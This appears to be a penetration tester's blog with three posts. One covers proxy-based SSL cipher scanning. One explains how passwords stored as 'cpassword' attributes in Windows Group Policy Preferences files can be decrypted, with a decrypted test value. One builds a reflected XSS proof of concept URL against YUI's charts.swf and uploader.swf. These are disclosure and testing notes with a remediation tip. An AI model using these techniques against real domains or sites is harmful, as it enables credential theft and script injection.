Scan SSL Ciphers via Web Proxy

None of my existing tools gave the option of using web proxy to retrieve the SSL cipher strengths supported by a web server. With a bit of googling I came across SSLyze v0.4 which has recently added support for this.

http://code.google.com/p/sslyze/

It allows HTTP Web Proxies via the --http_tunnel command and has support fot TLS 1.1 and 1.2 -good stuff.

It's currently in BackTrack but only v0.3 in /pentest/web/sslyze/.

Exploiting Windows 2008 Group Policy Preferences - Expanded

This follows on from the disclsoure http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences which discussed how Group Policy Preferences can be used to create Local Users on machines and the resulting passwords easily decrypted. (Edit: 25/7/2012 Metasploit module now available in the framework)

Browsing the MSDN documentation I noticed that there were many other preferences that could be set that also allow a password to be stored. For example Services.xml specifies services to run on end machines, and can specify a specific user and password for that service to run as.

Whilst these preferences may not be used as commonly as local users preferences (to set local administrator passwords), they may lead to current valid domain credentials rather than just local users accounts - for example specifying a domain user to connect to a network share in Drives.xml.

In addition to Groups.xml the following preference policy files will take an optional 'cpassword' attribute:

Services\Services.xml
http://msdn.microsoft.com/en-us/library/cc980070(v=prot.13)

ScheduledTasks\ScheduledTasks.xml
http://msdn.microsoft.com/en-us/library/cc422920(v=prot.13)
http://msdn.microsoft.com/en-us/library/dd341350(v=prot.13)
http://msdn.microsoft.com/en-us/library/dd304114(v=prot.13)

Printers\Printers.xml
http://msdn.microsoft.com/en-us/library/cc422918(v=prot.13)

Drives\Drives.xml
http://msdn.microsoft.com/en-us/library/cc704598(v=prot.13)

DataSources\DataSources.xml
http://msdn.microsoft.com/en-us/library/cc422926(v=prot.13)


Working with scriptmonkey, who already had a DC configured, we verified this theory against the DataSources by creating one with the following attributes:

 <Properties action="U" userDSN="0" dsn="test" driver="SQL Server" description="test data source" username="testusername" cpassword="AzVJmXh/J9KrU5n0czX1uBPLSUjzFE8j7dOltPD8tLk" />

D:\>decrypt.py AzVJmXh/J9KrU5n0czX1uBPLSUjzFE8j7dOltPD8tLk
testpassword

Solution - dont specify passwords within the Group Preference Policies as these are quite trivial to retrieve and decode!


Playing around with Win Server 2012 it looks like there is more warning about these settings:

 

Also dont forget you can search the domain/SYSVOL/scripts/ folder (NETLOGON is a mirror for Win2K machines) for hardcoded passwords that administrators have included in scripts... However that functionality isn't included in the module but findstr for password may pay dividends!

YUI <v2.8.2 Reflective XSS Flash swf

Couldn't find an example POC for this exploit, so had to do some diggin.

http://yuilibrary.com/support/2.8.2/

'Cross-site scripting (XSS) vulnerability in the Flash component infrastructure in YUI 2.4.0 through 2.8.1, as used in Bugzilla, Moodle, and other products, allows remote attackers to inject arbitrary web script or HTML via vectors related to charts/assets/charts.swf.'

 I eventually found where the parameters were being passed to the Flash SWF.
http://kb2.adobe.com/cps/164/tn_16417.html 'Use FlashVars to pass variables to SWF files'.


For future reference I would just do a search for "flashvars". 

<object width="100%" height="100%" id="yuigen1" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000">

<param name="movie" value="./Scripts/Yahoo/charts/assets/charts.swf"/>

<param name="quality" value="high"/>

<param name="allowScriptAccess" value="always"/>

<param name="wmode" value="opaque"/>

<param name="flashvars" value="allowedDomain=111.111.111.111&elementID=yuigen1&eventHandler=YAHOO.widget.FlashAdapter.eventHandler"/>

These arguments can also be passed to the SWF in a GET request e.g.

allowedDomain=111.111.111.111&elementID=yuigen1&eventHandler=YAHOO.widget.FlashAdapter.eventHandler

http://kb2.adobe.com/cps/142/tn_14253.html#main_querystring




Now I just have to work out whick parameter causes the XSS, so using any decompiler available I did a search for the parameter names, 'allowedDomain', 'elementID', and 'eventHandler':

protected function initializeComponent() : void

{

this.elementID = this.loaderInfo.parameters.elementID;

this.javaScriptEventHandler = this.loaderInfo.parameters.eventHandler;

var allowedDomain:* = this.loaderInfo.parameters.allowedDomain;

...

}

and

ExternalInterface.call(this.javaScriptEventHandler, this.elementID, event);

This passes elementID as the first parameter to the javaScriptEventHandler.

http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/flash/external/ExternalInterface.html?filter_flash=cs5&filter_flashplayer=10.2&filter_air=2.6

The following example shows how you can use the ExternalInterface class

(flash.external.ExternalInterface) to send a string from Flash Player to the HTML container where it is displayed using the JavaScript alert() function.

function button_click(evt:MouseEvent):void {

ExternalInterface.call("alert", xmlResponse);

}

Brilliant, the example from Adobe shows us exactly how to do an ALERT msg box.

I just change the eventHandler from YAHOO.Widget.FlashAdapter.eventhandler to alert and I get a popup for 'yuigen1'.

I can then change the elementID to be 'XSS' and I have my XSS popup proof of concept:
https://111.111.111.111/Scripts/Yahoo/charts/assets/charts.swf?allowedDomain=111.111.111.111&elementID=XSS&eventHandler=alert


Similarly for uploader.swf (I didn't have swfstore.swf on the server to test but I believe the following would also work) :
https://111.111.111.111//scripts/yahoo/uploader/assets/uploader.swf?allowedDomain=111.111.111.111&elementID=XSS&eventHandler=alert&buttonSkin=images/buttons/UploadButtons.png